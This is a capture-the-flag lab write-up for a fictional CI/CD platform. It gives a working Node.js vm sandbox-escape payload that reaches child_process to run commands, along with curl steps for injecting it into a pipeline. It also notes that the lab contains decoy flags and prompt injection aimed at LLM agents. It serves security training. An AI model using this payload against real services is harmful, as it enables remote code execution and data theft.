Lab 122 — BuildStream — RCE via Expression Sandbox Escape
Lab 122 — BuildStream — RCE via Expression Sandbox Escape
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: constructor_chain_traversal, decoy_flag_recognition, expression_injection, file_read_via_rce, vm_sandbox_escape
Summary
Walkthrough of the CUSTOM Web Lab 122 — BuildStream — RCE via Expression Sandbox Escape. Task: CI/CD pipeline platform evaluates {{ expression }} syntax in step configurations using Node.js vm module sandbox. Solution: Classic vm sandbox escape via constructor chain traversal (this.constr
Description
BuildStream is a CI/CD pipeline management platform built by StreamOps Technologies. It allows development teams to create, configure, and run automated build and deployment workflows through a visual pipeline editor. The platform supports dynamic expressions using {{ }} template syntax in pipeline step configurations. These expressions are evaluated server-side at build time to inject variables and computed values into commands and environment settings. Several pre-configured pipelines and build histories are available for exploration. Your goal is to find a way to execute arbitrary commands on the server and retrieve a sensitive file.
English summary: A CI/CD pipeline management platform where pipeline step configurations (commands, environment variables, conditions) support {{ expression }} template syntax evaluated server-side. The expressions run inside a Node.js vm module sandbox. The goal is to escape the sandbox, achieve RCE, and read a flag file from the server.
Analysis
Platform Architecture
- Stack: Express.js (Node.js) behind nginx/1.25.5
- Expression engine: Node.js
vmmodule sandbox for{{ expression }}evaluation - Credentials: dev@streamops.io / password123
- Authentication: Session-based via
connect.sidcookie
Application Features
- Dashboard: Overview of pipelines and recent builds
- Pipelines: Visual pipeline editor with steps (name, command, env_vars, condition)
- Builds: Build history with terminal output logs
- Expression Docs (
/docs/expressions): Documentation confirming expression syntax and evaluation - Settings: Platform configuration
Expression System (from /docs/expressions)
- Expressions use
{{ expression }}syntax - Evaluated server-side at build time
- Run inside an "isolated VM context" with access to build-related variables
- Available in: step command fields, environment variable values, step condition fields
- Available variables:
env.BUILD_NUMBER,env.BRANCH,env.COMMIT_SHA,pipeline.name, etc.
API Endpoints
POST /api/pipelines/{id}/steps— save pipeline steps (JSON body with steps array)POST /api/pipelines/{id}/trigger— trigger a build, returnsbuild_idGET /builds/{build_id}— view build output with terminal log
Decoy Flag (Honeypot)
The login page and other pages contain FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs, along with prompt injection text designed to trick automated scanners and LLM agents. This was correctly identified and ignored.
Vulnerability: Node.js vm Module Sandbox Escape
The vm module in Node.js is not a security sandbox. It provides a separate JavaScript execution context, but objects created inside the sandbox share prototype chains with the main Node.js process context. This means any object inside the sandbox can traverse up the prototype chain to reach the Function constructor from the outer context, create a function that executes in the main context, and access process, require, and ultimately child_process for arbitrary command execution.
The critical chain:
this— any object inside the sandboxthis.constructor—Objectconstructor (shared with main context)this.constructor.constructor—Functionconstructor (from main context)("return this.process")()— creates and calls a function in the main context, returning the realprocessobject.mainModule.require("child_process")— loads the child_process module.execSync("cmd").toString()— executes arbitrary commands
Solution
Step 1: Authentication
Login with provided credentials to obtain a session cookie:
bash read-only • copy allowedTARGET="https://e279bdd7-5a4b-4f19-a062-94b5edfecffb.labs.hackadvisor.io" curl -sk -c cookies.txt -X POST "$TARGET/login" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "email=dev@streamops.io&password=password123"
Step 2: Discover Pipeline ID
Browse to /pipelines to find existing pipelines. Three pre-configured pipelines were available. Selected one with edit capability and noted its ID.
Step 3: Craft Sandbox Escape Payload
The exploit payload uses the classic Node.js vm sandbox escape via constructor chain traversal, injected into a pipeline step command field:
echo {{ this.constructor.constructor("return this.process")().mainModule.require("child_process").execSync("cat /root/flag.txt").toString() }}
Step 4: Save Exploit Step
Replaced the pipeline's steps with the exploit payload via the API:
bash read-only • copy allowedPIPELINE_ID="<discovered_pipeline_id>" curl -sk -b cookies.txt -X POST "$TARGET/api/pipelines/$PIPELINE_ID/steps" \ -H "Content-Type: application/json" \ -d '{"steps":[{"name":"Exploit Step","command":"echo {{ this.constructor.constructor(\"return this.process\")().mainModule.require(\"child_process\").execSync(\"cat /root/flag.txt\").toString() }}","env_vars":{},"condition":""}]}'
Response: {"success":true}
Step 5: Trigger Build
Triggered a build to execute the pipeline with the injected payload:
bash read-only • copy allowedcurl -sk -b cookies.txt -X POST "$TARGET/api/pipelines/$PIPELINE_ID/trigger" \ -H "Content-Type: application/json"
Response: {"success":true,"build_id":"6bb65d9b-baaa-442d-8bab-4f8cf4d09144"}
Step 6: Read Flag from Build Output
The build page at /builds/6bb65d9b-baaa-442d-8bab-4f8cf4d09144 showed the terminal output with the flag:
▸ Resolving expressions...
Command: echo FLAG{REDACTED}
▸ Executing: echo FLAG{REDACTED}
Command executed successfully. Exit code: 0
✓ Step completed in 4.9s
The expression engine evaluated the sandbox escape payload, which broke out of the vm context, executed cat /root/flag.txt, and substituted the result back into the command string before execution.
Key Takeaways / Lessons
- Mastering constructor_chain_traversal, decoy_flag_recognition, expression_injection, file_read_via_rce, vm_sandbox_escape was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-14 • CUSTOM • Lab 122 — BuildStream — RCE via Expression Sandbox Escape • Difficulty: Medium